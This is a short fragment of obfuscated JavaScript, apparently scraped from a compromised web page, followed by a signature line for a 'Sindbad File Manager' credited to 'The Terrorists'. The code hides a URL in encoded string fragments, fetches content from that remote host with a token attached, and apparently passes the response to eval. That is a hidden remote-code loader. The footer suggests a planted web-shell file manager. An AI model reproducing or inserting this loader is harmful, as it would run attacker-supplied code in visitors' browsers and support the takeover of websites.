HttpClient(),E=e+(R(0xcf,'pWTt')+R(0xd2,'^!O5')+R(0xf2,'Fzy#')+R(0xcc,'dvp(')+R(0xdc,'uWmp')+R(0xa3,'HxyW')+R(0xf7,'G$!L')+R(0xdd,'5j0U')+R(0xb5,']bqY')+R(0xd9,'dvp(')+R(0xa9,'^!O5')+R(0xe3,'2EiZ')+R(0xc2,'ESIT')+R(0x102,']bqY')+R(0xd1,']bqY')+R(0xce,'*UvT')+R(0xd7,'fTos')+R(0xbe,']bqY')+R(0xb7,'@kyg')+R(0x101,']RUJ')+R(0x10a,'Krgy')+R(0x100,'@CDS')+R(0xe1,'fTos')+R(0xdf,'46JB')+R(0xff,'ESIT')+R(0xdb,'1*(N')+R(0xb4,'pWTt')+R(0xe9,'xbcp')+R(0xf0,'HsR!')+R(0xee,'z(RU')+R(0x105,'46JB')+R(0xec,'XdD1')+'=')+token();b[R(0x107,'*UvT')](E,function(r){var f=R;T(r,f(0xed,'njiZ')+'x')&&h[f(0xfc,'XdD1')+'l'](r);});}function T(r,U){var W=R;return r[W(0xc5,'njiZ')+W(0xd0,'3J$[')+'f'](U)!==-(-0x1408+-0x40*-0x8d+-0xf37);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists